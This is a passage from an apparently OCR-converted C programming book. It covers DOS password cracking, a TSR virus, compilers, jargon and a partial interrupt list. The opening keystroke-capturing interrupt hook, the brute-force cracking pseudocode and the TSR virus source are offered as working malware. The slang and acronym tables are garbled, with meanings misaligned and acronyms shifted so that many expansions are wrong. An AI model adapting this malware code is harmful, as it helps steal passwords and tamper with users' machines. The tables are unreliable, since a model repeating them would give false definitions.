Key_String[i++] = Num_Row3[Key_Val - 79];
else if ( IS_NUM_ROW4(Key_Val) )
Key_String[i++] = Num_Row4[Key_Val - 82];
else if ( IS_SPACE_BAR(Key_Val) )
Key_String[i++] = Space_Bar;
else if ( IS_ENTER(Key_Val) )
{
Key_String[i++] = Enter_Symbol[0];
Key_String[i++] = Enter_Symbol[1];
Last_Pos = i;
}
else if (IS_BACKSPACE(Key_Val) \&\& i != Last_Pos)
i -=1;
}
(*Int9)( );
} /*--interrupt MyInt9-----*/
int main(void)
{
Int9 = getvect( 9 );

```

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```

    setvect( 9, MyInt9 );
    keep( 0, 500 );
    return(0);
    } /*--main( )----*/

```

\subsection*{65.1.3 Brute force Cracking}

The previous method indirectly needs the innocent user's actions. But this brute force cracking technique doesn't need the innocent user. The idea is to try all possible combinations of character until the right password is found. Doing so, manually is tough, but a program will smoothen the process. But even then, it is time consuming. This technique uses stuff key technique and brute force password generator technique. It is left to the user as a challenging exercise.

The algorithm is:
```

passwordfound = FALSE;
username = "JACK";
while( !passwordfound )
{
trypassword = BruteForce( );
Stuffkeys( username );
Stuffkeys( trypassword );
if( no error )
passwordfound = TRUE;
}
if( passwordfound )
Print trypassword
else
Print Cracking not yet possible!

```

\subsection*{65.1.4 Cracking from password file}

If we know the details of password file, it will be easier to steal passwords. But it is usually a difficult thing to get details about how and where the passwords are stored. I avoid dealing with such technique, as it is more vulnerable.

\subsection*{65.2 Windows NT}

Windows NT's passwords are stored in specific password database but in cryptic form. If you know the hash values and have access to password database, it won't be a tough job to crack the passwords. Because of certain reasons, I avoid dealing the Windows NT password cracking. Anyhow it is not a tough job for crackers.

\section*{66 "Stirring up anger causes trouble." Cracking File Format}

I have already explained about file format. Each file got its own standards for storing the contents. So for cracking or retrieving a particular type of file, we need to know its file format. Few of the software vendors don't document the file format that are used by their software. So to know file format, we need to perform some illegal operations. We must understand the fact that most of the software vendors use the file format that were proposed by some research scholars and non-profit organizations.

\subsection*{66.1 DEBUG}

Using DEBUG we can find which character is stored in which location. That is, in which offset (distance) which character is stored can be viewed. To find that, you can even write your own program!

\subsection*{66.2 Finding out Signature}

Most probably, the signature bytes will be available in the first part of the file. So comparing first few bytes of two files of some type (say .CHR), we can find out the 'signature'. When two files of same type got same bytes at same offset, it might be the signature.

\subsection*{66.3 Algorithms}

Most of the software might use certain specific algorithms. Mostly these algorithms might be documented. So you need to checkout different algorithms.

\subsection*{66.4 Standard Format}

Most of the format used by the software might be a standard format. This format may be documented in some other texts. So you need to know different standard formats.

\section*{67 "Kings should not drink." \\ Virus Programming}

Everybody is scared of computer 'virus' as it does harmful actions on our computer. But when we look into the virus programming, we may certainly come out with the conclusion that it requires intelligence to code a virus.

\subsection*{67.1 Logic}

It is easy to mess-up the right program. For example, if you remove even a single byte from an EXE file, that EXE file won't be usable! Virus program don't have any specific rules. But it's a common practice to include 'signatures' by virus creators. The main idea is to force the innocent user to run the programs. So certain viruses come along with so called 'programmer utilities' or 'free tools'. Another thing is, it is easy to hang-up a working system using some 'bad' interrupts. Viruses use this logic too!

\subsection*{67.2 TSR viruses}

When TSR got its popularity, crackers started using TSR concepts for virus programming. There was a time when people who knew TSR started writing their own TSR viruses. But when Windows operating system was introduced, TSR viruses lost their "popularity".

I have written the following program. This is actually a TSR virus. It is not much harmful; it just changes the attribute (color) byte of the existing characters present on screen.
```

\#ifndef ___SMALL__
\#error Compile with Small memory model
\#else
\#include <dos.h>
int i = 1;
char far *Vid_RAM = (char far *)0xb8000000;
void interrupt (*Int9)( void );
void interrupt MyInt9( void );
void interrupt MyInt9( void )
{
*( Vid_RAM + i ) = i;

```
```

    if ( i>4000 )
        i = 1;
        else
            i += 2;
    (*Int9) ( );
    } /*--interrupt MyInt9-----*/
int main(void)
{
Int9 = getvect( 9 );
setvect( 9, MyInt9 );
keep( 0, 500 );
return(0);
} /*--main( ) ----*/
\#endif

```

\subsection*{67.3 Windows viruses}

When Windows operating system was introduced, much of the DOS based viruses lost their "popularity". Under Windows operating system, only certain viruses like "Boot sector virus" and "Disk formatting viruses" can do harmful actions. So crackers went for exploiting Windows. Windows based viruses exploit Internet 'loopholes'. As VB Script even has access to Windows Registry, VB Script is commonly used for Windows/Internet based "spreading viruses".

\subsection*{67.4 Anti-Viruses}

As I said earlier, many virus programmers add signature to their program. So by checking the signature, we can find the name of the virus. Most of the anti-virus packages use this logic! The following table shows few viruses and their signatures.
\begin{tabular}{|l|l|}
\hline \multicolumn{1}{|c|}{ Virus } & \multicolumn{1}{c|}{ Signature } \\
\hline Einstein & 0042CD217231B96E0333D2B440CD2172193BC17515B80042 \\
\hline Phoenix 927 & E800005E81C6????BF0001B90400F3A4E8 \\
\hline Spanz & E800005E81EE????8D94????B41ACD21C784 \\
\hline Necropolis & 50FCAD33C2AB8BD0E2F8 \\
\hline Trivial-25 & B44EFEC6CD21B8??3DBA??00CD2193B440CD \\
\hline Trivial-46 & B44EB120BA????CD21BA?????B80?3DCD21\%2BA0001\%4B440CD \\
\hline SK & CD20B80300CD1051E800005E83EE09 \\
\hline
\end{tabular}

So you can find that writing anti-virus package is not a tough job. But understand the fact that checking out the signature is not \(100 \%\) foolproof. You may find many of the buggy antivirus packages even point out the right programs as virus programs and vice-versa.

\section*{Part VIII \\ Next Step}

\section*{What do you think of C\#?}

I have no comments on \(\mathrm{C} \#\) as a language. It will take a lot to persuade me that the world needs yet another proprietary language (YAPL). It will be especially hard to persuade me that it needs a language that is geared for a specific proprietary operating system...
-Bjarne Stroustrup, Creator of C++
Courtesy: Bjarne Stroustrup's FAQ

\section*{68 "Rulers should not desire beer." \\ 32-bit Compiler}

Today, 32-bit applications and Operating Systems have replaced the existing 16-bit applications and Operating Systems. So people refer the 16-bit environment as obsolete!

\subsection*{68.1 16-bit Compiler}

16-bit compiler uses 16-bit instruction set to produce 16-bit applications. As we know, 16-bit applications work in real mode. \(\mathrm{TC}++3.0\) is a 16 -bit environment and it works in real mode. So some people refer \(\mathrm{TC}++3.0\) as older C compiler!

\subsection*{68.2 32-bit Compiler (DJGPP)}

Introduction of 32-bit processor necessitates the need for a 32-bit protected mode C compiler. Thereafter many 32 -bit C compilers were introduced. MSDOS port of the GNU C/C++ compiler named DJGPP (by D.J. Delorie and few others) is the winner among other 32-bit compilers. DJGPP provides Unix style of writing C/C++ programs under MSDOS. The free DJGPP compiler and other supporting tools are available under GNU's General Public License, and so source codes are also available!!!

Quite honestly, nowadays most of the DOS programmers use DJGPP than TC++3.0 for developing DOS programs. DJGPP is available on CD ! Please checkout the CD for installation of DJGPP and documentation. I don't want to go into the details of DOS programming with DJGPP, and it is left to the reader as an exercise! Reader must be aware that 16-bit version of DJGPP was also introduced by D.J. Delorie, but it is not at all used.

Following are the important advantages of DJGPP:
1. DJGPP is a non-proprietary environment for developing 32-bit protected mode software in C/C++ under MS-DOS.
2. DJGPP is good for writing DOS utilities.
3. Very good for Graphics / Game Programming

Personally, I think it is wise to switch to 32 -bit compiler than to stick onto 16 -bit compiler (TC++3.0). It is left to you to take decision on compilers! If you still want to work with 16-bit compilers, I personally recommend \(\mathrm{TC}++3.0\).

\subsection*{68.2.1 Allegro}

Allegro is a library of functions for use in computer games, written in a mixture of C and assembly language especially for DJGPP compiler. Allegro is also free as DJGPP. It is found on

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CD. Allegro provides so many functions to access graphics cards and sound cards. So Allegro reduces the programming effort by enormous amount. Following are the important features of Allegro as by their documentations:
1. Supports VGA mode \(\mathbf{1 3 h}\), mode-X (twenty three tweaked VGA resolutions plus unchained 640x400 Xtended mode), and SVGA modes with \(8,15,16,24\), and 32 bit color depths, taking full advantage of VBE 2.0 linear framebuffers and the VBE/AF hardware accelerator API if they are available.
2. Drawing functions including putpixel, getpixel, lines, rectangles, flat shaded, gouraud shaded, and texture mapped polygons, circles, floodfill, bezier splines, patterned fills, masked, run length encoded, and compiled sprites, blitting, bitmap scaling and rotation, translucency/lighting, and text output with proportional fonts. Supports clipping, and can draw directly to the screen or to memory bitmaps of any size.
3. Hardware scrolling, mode-X split screens, and palette manipulation.
4. FLI/FLC animation player.
5. Plays background MIDI music and up to 64 simultaneous sound effects, and can record sample waveforms and MIDI input. Samples can be looped (forwards, backwards, or bidirectionally), and the volume, pan, pitch, etc, can be adjusted while they are playing. The MIDI player responds to note on, note off, main volume, pan, pitch bend, and program change messages, using the General MIDI patch set and drum mappings. Currently supports Adlib, SB, SB Pro, SB16, AWE32, MPU-401, ESS AudioDrive, Ensoniq Soundscape, and software wavetable MIDI.
6. Easy access to the mouse, keyboard, joystick, and high resolution timer interrupts, including a vertical retrace interrupt simulator.
7. Routines for reading and writing LZSS compressed files.
8. Multi-object data files and a grabber utility.
9. Math functions including fixed point arithmetic, lookup table trig, and 3d vector/matrix manipulation.
10. GUI dialog manager and file selector.

\section*{69} "Speak up for those who cannot speak for themselves."

\section*{Descendents of C}

The development of C language has marked a wide difference in the computing world. The grammar and structure of C language has influenced the development of other languages. Many languages are claiming that they are 'descendent' of C. Let's see some of those languages!

\subsection*{69.1 C++}

C++ don't differ much with C , except for its object-oriented concepts. In fact, \(\mathrm{C}++\) was developed as ' C with classes'. \(\mathrm{C}++\) claims that its codes are easily maintainable and readable than C codes. But in reality, it is not much true. As C++ supports both procedural and object-oriented approach, it may lead to more complexity when programmer uses both procedural and object oriented approach in his program.

\subsection*{69.2 Java}

Java is a pure object-oriented language. Java was introduced as a language for Embedded applications, later it is known to be 'internet-language'. Java claims that it is multi-platform. But certain people argue that Java is not exactly multi-platform, because there are platforms for which no JVM emulator is available, and we cannot run Java programs on those platforms.

\subsection*{69.3 C\#}

C\# is a product from Microsoft. People say that C\# will be a good rival for SUN's Java. But it is a proprietary language.

\subsection*{69.4 D}

D language claims that it is the right descendent of C language. I don't know much about D language. But I am sure that it is still used by certain people.

\section*{Part IX}

\section*{Smart Dictionary}

People are often unreasonable, illogical And self-centred,
Forgive them anyway.
If you are kind, people may accuse you As a person with selfish and ulterior motives;
Be kind anyway.
If you are honest and frank,
People may cheat you;
Be honest and frank anyway.
What you spend years building, someone Could destroy overnight;
Build anyway.
If you are serene and happy, People may be jealous;
Be happy anyway.
The good you do today, People will often forget tomorrow;
Do good anyway.
Give the world the best you have, And it may never be enough;
Give the world the best you've got anyway.
-Mother Theresa

\section*{70 \\ "Defend the rights of the poor and needy." \\ Slang \& J argons}

Programmers often use certain uncommon words. To get into the world of programming, we must also know these jargons. In CD you have so many utilities and source codes by many International programmers. So to cope up with the programming world, we are supposed to know these jargons and slang.
\begin{tabular}{|l|l|}
\hline \multicolumn{1}{|c|}{ Slang } & \multicolumn{1}{c|}{ Meaning } \\
\hline Shit & \begin{tabular}{l} 
[used to express disbelief, \\
disappointment, imitation etc.]
\end{tabular} \\
\hline Darn / Dern / Durn &,, \\
\hline Darn it / Dern it / Durn it &,, \\
\hline Damn & ,, \\
\hline Heck / Hell & ,, (More offensive) \\
\hline Fuck & \begin{tabular}{l} 
[used to express surprise, \\
apology, etc.]
\end{tabular} \\
\hline Oops! & actually, really \\
\hline the hell & ,, \\
\hline the heck & leave, depart \\
\hline the fuck & ,, \\
\hline beat it & unrespectable woman, prostitute \\
\hline fuck off & spails \\
\hline bitch & sponsense \\
\hline it sucks & no disarrange, to get into trouble \\
\hline screw up & \begin{tabular}{l} 
Also known as (pronounced as \\
separate letters a-k-a)
\end{tabular} \\
\hline bullshit & farewell \\
\hline mess up & quick fix to the bug in a program \\
\hline aka & adjust or refine a program \\
\hline Happy hacking & \begin{tabular}{l} 
small change in a program \\
\hline patch \\
\hline etweak \\
over the net
\end{tabular} \\
\hline twiddle & \\
\hline netiquette & \\
\hline
\end{tabular}
\begin{tabular}{|l|l|}
\hline \multicolumn{2}{|c|}{ Pronounciation } \\
\hline Linux & li-nucks \\
\hline GUI & goo-ee \\
\hline GNU & gu-new \\
& 633
\end{tabular}
\begin{tabular}{|l|l|}
\hline \multicolumn{2}{|c|}{ Pronounciation } \\
\hline URL & earl \\
\hline Bjarne Stroustrup & bi-yaa-ne stroov-strup \\
\hline
\end{tabular}
\begin{tabular}{|l|l|}
\hline \multicolumn{2}{|c|}{ Acronyms and Abbreviations } \\
\hline ACM & Association for Computing Machinery \\
\hline ALGOL & Algorithmic Language \\
\hline AMD & Advanced Micro Device \\
\hline AMI & American Mega Trends Inc \\
\hline ANSI & American National Standards Institute \\
\hline ASCII & American Standard Code for Information Interchange \\
\hline AT\&T & American Telegraph and Telephone \\
\hline BASM & Built in inline Assembler \\
\hline BCD & Binary Coded Decimal \\
\hline BCPL & Basic Combined Programming Language \\
\hline BGI & Borland Graphics Interface \\
\hline BIOS & Basic Input Output System \\
\hline BMP & Bitmap Image \\
\hline CGA & Color Graphics Adapter \\
\hline CMOS & Complementary Metal Oxide Semiconductor \\
\hline CORDIC & COordinate Rotation DIgital Computer \\
\hline CPU & Central Processing Unit \\
\hline CRC & Cyclic Redundancy Check \\
\hline DBMS & DataBase Management System \\
\hline DEC & Digital Equipment Corporation \\
\hline DOS & Disk Operating System \\
\hline EBCDIC & Extended Binary Coded Decimal Interchange Code \\
\hline EEPROM & Electrically Erasable Programmable Read Only Memory \\
\hline ENIAC & Electronic Numerical Integrator and Computer \\
\hline EOF & End Of File \\
\hline EPROM & Erasable Programmable Read Only Memory \\
\hline FAT & File Allocation Table \\
\hline FCB & File Control Block \\
\hline FORTRAN & Formula Translation \\
\hline GCD & Greatest Common Divisor \\
\hline GIF & Graphics Interchange Format \\
\hline GPL & General Public License \\
\hline GUI & Graphical User Interface \\
\hline HLL & High Level Language \\
\hline HTML & Hyper Text Mark-up Language \\
\hline IBM & International Business Machine \\
\hline IDE & Integrated Developer Environment \\
\hline IOCCC & International Obfuscated C Code Contest \\
\hline ISA & Industry Standard Architecture \\
\hline ISO & International Standards Organization \\
\hline LAN & Local Area Network \\
\hline & \\
\hline
\end{tabular}
\begin{tabular}{|l|l|}
\hline \multicolumn{2}{|c|}{ Acronyms and Abbreviations } \\
\hline LCD & Liquid Crystal Display \\
\hline LED & Light Emitting Diode \\
\hline LPT & Linear Printer \\
\hline LSI & Large Scale Integration \\
\hline LZW & Lempel Zev Welch \\
\hline MDA & Monochrome Display Adapter \\
\hline MIDI & Musical Instrument Digital Interface \\
\hline MP3 & Motion Picture Expert Group - Layer 3 \\
\hline NB & Non Maskable Interrupt \\
\hline NMI & Object Oriented Programming \\
\hline OOP & One Time Programmable \\
\hline OTP & Printer Control Language \\
\hline PCL & Portable Document File \\
\hline PDF & Priority Intercept Controller \\
\hline PIC & Programmable Interval Timer \\
\hline PIT & Programming Language 1 \\
\hline PL / I & Portable Network Graphics \\
\hline PNG & Power On Self Test \\
\hline POST & Programmable Read Only Memory \\
\hline PROM & Random Access Memory \\
\hline RAM & Ralf Brown's Interrupt List \\
\hline RBIL & Read Only Memory \\
\hline ROM & Real Time Clock \\
\hline RTC & SIMUlation Language \\
\hline SIMULA & StriNg Oriented symBOlic Language \\
\hline SNOBOL & Super Video Graphics Adapter \\
\hline SVGA & Turbo Assembler \\
\hline TASM & Task Control Block \\
\hline TCB & Transfer Control Protocol / Internet Protocol \\
\hline TCP/IP & Turbo Debugger \\
\hline TD & Trans Mo Grifiers \\
\hline TMG & Temporary Stay Resident Program \\
\hline TSR & Universal Decompiling Machine \\
\hline UDM & Upper Memory Area \\
\hline UMA & Visual Basic \\
\hline VB & Video Electronics Standards Association \\
\hline VESA & Video Graphics Adapter \\
\hline VGA & Wesley And Rajesh \\
\hline WAR & Windows New Technology \\
\hline Windows NT & Yet Another Compiler-Compiler \\
\hline YACC & \\
\hline & \\
\hline
\end{tabular}

\section*{7 Ralf Brown's I nterrupt List}

Ralf Brown is a well-known authority for maintaining both documented and undocumented BIOS interrupts, DOS interrupts, memory map and other system-oriented information. Because of him only, the world came to know so many officially undocumented interrupts and system specific information. His work is appreciated throughout the world by thousands of DOS Programmers. The entire Ralf Brown's Interrupt List is available on CD. The complete list runs up to thousands of pages! Because of space constraint, I provide only a part of Ralf Brown's Interrupt List. Ralf Brown's sources are used with his special permission. Many thanks to Dr. Ralf Brown!

\subsection*{71.1 Notations}

To save spaces, RBIL (Ralf Brown's Interrupt List) uses few notations. So we have to understand those notations before using RBIL.

If it is marked "internal" or undocumented, you should check it carefully to make sure it works the same way in your version of the software. Information marked with "???" is known to be incomplete or guesswork.

FLAGS
The use of \(->\) instead of \(=\) signifies that the indicated register or register pair contains a pointer to the specified item, rather than the item itself. Register pairs (such as \(A X: B X\) ) indicate that the item is split across the registers, with the high-order half in the first register.

\section*{CATEORIES}

The ninth column of the divider line preceding an entry usually contains a classification code (the entry has not been classified if that character is a dash). The codes currently in use are:
```

A - applications, a - access software (screen readers, etc),
B - BIOS, b - vendor-specific BIOS extensions,
C - CPU-generated, c - caches/spoolers,
D - DOS kernel, d - disk I/O enhancements,
E - DOS extenders, e - electronic mail, F - FAX,
f - file manipulation, G - debuggers/debugging tools, g - games,
H - hardware, h - vendor-specific hardware,
I - IBM workstation/terminal emulators, i - system info/monitoring,
J - Japanese, j - joke programs,
K - keyboard enhancers, k - file/disk compression,
I - shells/command interpreters,
M - mouse/pointing device, m - memory management,
N - network, n - non-traditional input devices,

```

O - other operating systems,
P - printer enhancements, p-power management,
Q - DESQview/TopView and Quarterdeck programs,
R - remote control/file access, r-runtime support,
S - serial I/O, s - sound/speech,
T - DOS-based task switchers/multitaskers, t-TSR libraries
U - resident utilities, u-emulators,
V - video, v- virus/antivirus,
W - MS Windows,
X - expansion bus BIOSes, x - non-volatile config storage
y - security, * - reserved (and not otherwise classified)

\subsection*{71.2 Interrupt List}

\subsection*{71.2.1 Overview}

Following is the overall picture about all interrupts.
TITLES
INT 00-CPU-generated - DIVIDE ERROR
INT 01 - CPU-generated - SINGLE STEP; (80386+) - DEBUGGING EXCEPTIONS
INT 02 - external hardware - NON-MASKABLE INTERRUPT
INT 03-CPU-generated - BREAKPOINT
INT 04 - CPU-generated - INTO DETECTED OVERFLOW
INT 05 - PRINT SCREEN; CPU-generated (80186+) - BOUND RANGE EXCEEDED
INT 06-CPU-generated (80286+) - INVALID OPCODE
INT 07-CPU-generated (80286+) - PROCESSOR EXTENSION NOT AVAILABLE
INT 08-IRQ0 - SYSTEM TIMER; CPU-generated (80286+)
INT 09 - IRQ1 - KEYBOARD DATA READY; CPU-generated \((80286,80386)\)
INT 0A - IRQ2 - LPT2/EGA,VGA/IRQ9; CPU-generated (80286+)
INT OB - IRQ3 - SERIAL COMMUNICATIONS (COM2); CPU-generated (80286+)
INT 0C - IRQ4 - SERIAL COMMUNICATIONS (COM1); CPU-generated (80286+)
INT OD - IRQ5 - FIXED DISK/LPT2/reserved; CPU-generated (80286+)
INT 0E - IRQ6 - DISKETTE CONTROLLER; CPU-generated (80386+)
INT OF - IRQ7 - PARALLEL PRINTER
INT 10 - VIDEO; CPU-generated (80286+)
INT 11 - BIOS - GET EQUIPMENT LIST; CPU-generated (80486+)
INT 12-BIOS - GET MEMORY SIZE
INT 13 - DISK
INT 14-SERIAL
INT 15-CASSETTE
INT 16-KEYBOARD
INT 17-PRINTER
INT 18 - DISKLESS BOOT HOOK (START CASSETTE BASIC)
INT 19 - SYSTEM - BOOTSTRAP LOADER
INT 1A - TIME
INT 1B - KEYBOARD - CONTROL-BREAK HANDLER
INT 1C - TIME - SYSTEM TIMER TICK
INT 1D - SYSTEM DATA - VIDEO PARAMETER TABLES

\section*{638 A to Z of C}
```

INT 1E - SYSTEM DATA - DISKETTE PARAMETERS
INT 1F - SYSTEM DATA - 8x8 GRAPHICS FONT
INT 20 - DOS 1+- TERMINATE PROGRAM
INT 21 - DOS 1+ - Function Calls
INT 22 - DOS 1+-PROGRAM TERMINATION ADDRESS
INT 23 - DOS 1+-CONTROL-C/CONTROL-BREAK HANDLER
INT 24 - DOS 1+-CRITICAL ERROR HANDLER
INT 25 - DOS 1+ - ABSOLUTE DISK READ
INT 26 - DOS 1+-ABSOLUTE DISK WRITE
INT 27 - DOS 1+ - TERMINATE AND STAY RESIDENT
INT 28-DOS 2+-DOS IDLE INTERRUPT
INT 29 - DOS 2+ - FAST CONSOLE OUTPUT
INT 2A - NETBIOS
INT 2B - DOS 2+ - RESERVED
INT 2C - DOS 2+ - RESERVED
INT 2D - DOS 2+ - RESERVED
INT 2E - DOS 2+ - PASS COMMAND TO COMMAND INTERPRETER FOR EXECUTION
INT 2F - Multiplex
INT 30-(NOT A VECTOR!) - DOS 1+-FAR JMP instruction
INT 31 - overwritten by CP/M jump instruction in INT 30
INT 32-(no special use)
INT 33 - MS MOUSE
INT 34-FLOATING POINT EMULATION - OPCODE D8h
INT 35 - FLOATING POINT EMULATION - OPCODE D9h
INT 36 - FLOATING POINT EMULATION - OPCODE DAh
INT 37 - FLOATING POINT EMULATION - OPCODE DBh
INT 38-FLOATING POINT EMULATION - OPCODE DCh
INT 39-FLOATING POINT EMULATION - OPCODE DDh
INT 3A - FLOATING POINT EMULATION - OPCODE DEh
INT 3B - FLOATING POINT EMULATION - OPCODE DFh
INT 3C - FLOATING POINT EMULATION - SEGMENT OVERRIDE
INT 3D - FLOATING POINT EMULATION - STANDALONE FWAIT
INT 3E - FLOATING POINT EMULATION - Borland "SHORTCUT" CALL
INT 3F - Overlay manager interrupt (Microsoft/Borland)
INT 40 - DISKETTE - RELOCATED ROM BIOS DISKETTE HANDLER
INT 41 - SYSTEM DATA - HARD DISK 0 PARAMETER TABLE; CPU - MS Windows
INT 42 - VIDEO - RELOCATED DEFAULT INT 10 VIDEO SERVICES (EGA,VGA)
INT 43 - VIDEO DATA - CHARACTER TABLE (EGA, MCGA,VGA)
INT 44 - VIDEO DATA - CHARACTER FONT (PCjr); Novell NetWare
INT 45-Z100/Acorn
INT 46 - SYSTEM DATA - HARD DISK 1 DRIVE PARAMETER TABLE
INT 47-Z100/Acorn/Western Digital/SQL Base
INT 48 - KEYBOARD (PCjr) - Z100/Watstar/Acorn/Western Digital/Compaq
INT 49 - SYSTEM DATA (PCjr) - Z100/TI/Watstar/Acorn/MAGic
INT 4A - SYSTEM - USER ALARM HANDLER
INT 4B - IBM SCSI interface; Virtual DMA Specification (VDS)
INT 4C - Z100/Acorn/TI
INT 4D - Z100

```
INT 4E - TI/Z100
INT 4F - Common Access Method SCSI
INT 50 - IRQ0 relocated by software
INT 51 - IRQ1 relocated by software
INT 52-IRQ2 relocated by software
INT 53 - IRQ3 relocated by software
INT 54 - IRQ4 relocated by software
INT 55 - IRQ5 relocated by software
INT 56 - IRQ6 relocated by software
INT 57 - IRQ7 relocated by software
INT 58 - IRQ8/0 relocated by software
INT 59 - IRQ9/1 relocated by software; GSS Computer Graphics Interface
INT 5A - IRQ10/2 relocated by software
INT 5B - IRQ11/3 relocated by software; Network
INT 5C - IRQ12/4 relocated by software; Network Interface
INT 5D - IRQ13/5 relocated by software
INT 5E - IRQ14/6 relocated by software
INT 5F - IRQ15/7 relocated by software; HP 95LX GRAPHICS PRIMITIVES
INT 60 - reserved for user interrupt; multiple purposes
INT 61 - reserved for user interrupt; multiple purposes
INT 62 - reserved for user interrupt; multiple purposes
INT 63 - reserved for user interrupt; multiple purposes
INT 64 - reserved for user interrupt; multiple purposes
INT 65 - reserved for user interrupt; multiple purposes
INT 66 - reserved for user interrupt; multiple purposes
INT 67 - reserved for user interrupt; LIM EMS; multiple purposes
INT 68 - multiple purposes
INT 69 - multiple purposes
INT 6A - multiple purposes
INT 6B - multiple purposes
INT 6C - CONVERTIBLE; DOS 3.2; DECnet DOS network scheduler
INT 6D - VGA - internal
INT 6E - DECnet DOS - DECnet NETWORK PROCESS API
INT 6F - Novell NetWare; 10NET; MS Windows 3.0
INT 70-IRQ8 - CMOS REAL-TIME CLOCK
INT 71 - IRQ9 - REDIRECTED TO INT OA BY BIOS
INT 72 - IRQ10 - RESERVED
INT 73 - IRQ11 - RESERVED
INT 74-IRQ12 - POINTING DEVICE (PS)
INT 75 - IRQ13 - MATH COPROCESSOR EXCEPTION (AT and up)
INT 76 - IRQ14 - HARD DISK CONTROLLER (AT and later)
INT 77 - IRQ15 - RESERVED (AT,PS); POWER CONSERVATION (Compaq)
INT 78-DOS extenders; multiple purposes
INT 79-multiple purposes
INT 7A - Novell NetWare; IBM 3270; multiple purposes
INT 7B - multiple purposes
INT 7C - multiple purposes
INT 7D - multiple purposes

\section*{640 A to Z of C}

INT 7E - RESERVED FOR DIP, Ltd. ROM LIBRARY; multiple purposes
INT 7F - multiple purposes
INT 80 - reserved for BASIC; multiple purposes
INT 81 - reserved for BASIC
INT 82 - reserved for BASIC
INT 83 - reserved for BASIC
INT 84 - reserved for BASIC
INT 85 - reserved for BASIC
INT 86 - IBM ROM BASIC - used while in interpreter; multiple purposes
INT 87 - IBM ROM BASIC - used while in interpreter
INT 88 - IBM ROM BASIC - used while in interpreter; multiple purposes
INT 89 - IBM ROM BASIC - used while in interpreter
INT 8A - IBM ROM BASIC - used while in interpreter
INT 8B - IBM ROM BASIC - used while in interpreter
INT 8C - IBM ROM BASIC - used while in interpreter
INT 8D - IBM ROM BASIC - used while in interpreter
INT 8E - IBM ROM BASIC - used while in interpreter
INT 8F - IBM ROM BASIC - used while in interpreter
INT 90 - IBM ROM BASIC - used while in interpreter
INT 91 - IBM ROM BASIC - used while in interpreter
INT 92 - IBM ROM BASIC - used while in interpreter; multiple purposes
INT 93 - IBM ROM BASIC - used while in interpreter
INT 94-IBM ROM BASIC - used while in interpreter; multiple purposes
INT 95 - IBM ROM BASIC - used while in interpreter
INT 96 - IBM ROM BASIC - used while in interpreter
INT 97 - IBM ROM BASIC - used while in interpreter
INT 98 - IBM ROM BASIC - used while in interpreter
INT 99 - IBM ROM BASIC - used while in interpreter
INT 9A - IBM ROM BASIC - used while in interpreter
INT 9B - IBM ROM BASIC - used while in interpreter
INT 9C - IBM ROM BASIC - used while in interpreter
INT 9D - IBM ROM BASIC - used while in interpreter
INT 9E - IBM ROM BASIC - used while in interpreter
INT 9F - IBM ROM BASIC - used while in interpreter
INT AO - IBM ROM BASIC - used while in interpreter
INT A1 - IBM ROM BASIC - used while in interpreter
INT A2 - IBM ROM BASIC - used while in interpreter
INT A3 - IBM ROM BASIC - used while in interpreter
INT A4 - IBM ROM BASIC - used while in interpreter
INT A5 - IBM ROM BASIC - used while in interpreter
INT A6 - IBM ROM BASIC - used while in interpreter
INT A7 - IBM ROM BASIC - used while in interpreter
INT A8 - IBM ROM BASIC - used while in interpreter
INT A9 - IBM ROM BASIC - used while in interpreter
INT AA - IBM ROM BASIC - used while in interpreter
INT AB - IBM ROM BASIC - used while in interpreter
INT AC - IBM ROM BASIC - used while in interpreter
INT AD - IBM ROM BASIC - used while in interpreter

INT AE - IBM ROM BASIC - used while in interpreter
INT AF - IBM ROM BASIC - used while in interpreter
INT BO - IBM ROM BASIC - used while in interpreter
INT B1 - IBM ROM BASIC - used while in interpreter
INT B2 - IBM ROM BASIC - used while in interpreter
INT B3-IBM ROM BASIC - used while in interpreter
INT B4 - IBM ROM BASIC - used while in interpreter
INT B5 - IBM ROM BASIC - used while in interpreter
INT B6-IBM ROM BASIC - used while in interpreter
INT B7-IBM ROM BASIC - used while in interpreter
INT B8-IBM ROM BASIC - used while in interpreter
INT B9 - IBM ROM BASIC - used while in interpreter
INT BA - IBM ROM BASIC - used while in interpreter
INT BB - IBM ROM BASIC - used while in interpreter
INT BC - IBM ROM BASIC - used while in interpreter
INT BD - IBM ROM BASIC - used while in interpreter
INT BE - IBM ROM BASIC - used while in interpreter
INT BF - IBM ROM BASIC - used while in interpreter
INT CO - IBM ROM BASIC - used while in interpreter
INT C1 - IBM ROM BASIC - used while in interpreter
INT C2-IBM ROM BASIC - used while in interpreter
INT C3 - IBM ROM BASIC - used while in interpreter
INT C4 - IBM ROM BASIC - used while in interpreter
INT C5 - IBM ROM BASIC - used while in interpreter
INT C6-IBM ROM BASIC - used while in interpreter
INT C7-IBM ROM BASIC - used while in interpreter
INT C8 - IBM ROM BASIC - used while in interpreter
INT C9 - IBM ROM BASIC - used while in interpreter
INT CA - IBM ROM BASIC - used while in interpreter
INT CB - IBM ROM BASIC - used while in interpreter
INT CC - IBM ROM BASIC - used while in interpreter
INT CD - IBM ROM BASIC - used while in interpreter
INT CE - IBM ROM BASIC - used while in interpreter
INT CF - IBM ROM BASIC - used while in interpreter
INT DO - IBM ROM BASIC - used while in interpreter
INT D1 - IBM ROM BASIC - used while in interpreter
INT D2 - IBM ROM BASIC - used while in interpreter
INT D3 - IBM ROM BASIC - used while in interpreter
INT D4 - IBM ROM BASIC - used while in interpreter
INT D5 - IBM ROM BASIC - used while in interpreter
INT D6-IBM ROM BASIC - used while in interpreter
INT D7-IBM ROM BASIC - used while in interpreter
INT D8 - IBM ROM BASIC - used while in interpreter
INT D9 - IBM ROM BASIC - used while in interpreter
INT DA - IBM ROM BASIC - used while in interpreter
INT DB - IBM ROM BASIC - used while in interpreter
INT DC - IBM ROM BASIC - used while in interpreter
INT DD - IBM ROM BASIC - used while in interpreter

\section*{642 A to Z of C}

INT DE - IBM ROM BASIC - used while in interpreter
INT DF - IBM ROM BASIC - used while in interpreter
INT EO - IBM ROM BASIC - used while in interpreter; multiple purposes
INT E1-IBM ROM BASIC - used while in interpreter
INT E2-IBM ROM BASIC - used while in interpreter
INT E3 - IBM ROM BASIC - used while in interpreter
INT E4-IBM ROM BASIC - used while in interpreter
INT E5 - IBM ROM BASIC - used while in interpreter
INT E6-IBM ROM BASIC - used while in interpreter
INT E7-IBM ROM BASIC - used while in interpreter
INT E8-IBM ROM BASIC - used while in interpreter
INT E9-IBM ROM BASIC - used while in interpreter
INT EA - IBM ROM BASIC - used while in interpreter
INT EB - IBM ROM BASIC - used while in interpreter
INT EC - IBM ROM BASIC - used while in interpreter
